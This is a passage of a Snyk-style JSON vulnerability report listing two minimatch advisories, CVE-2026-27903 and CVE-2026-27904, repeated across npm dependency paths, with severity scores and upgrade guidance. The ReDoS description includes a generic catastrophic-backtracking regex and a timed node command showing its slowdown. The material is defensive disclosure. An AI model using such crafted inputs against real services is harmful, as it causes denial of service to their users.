segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "pacote@21.4.0", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "pacote@21.5.1", "npm-registry-fetch@19.1.1", "make-fetch-happen@15.0.6", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], 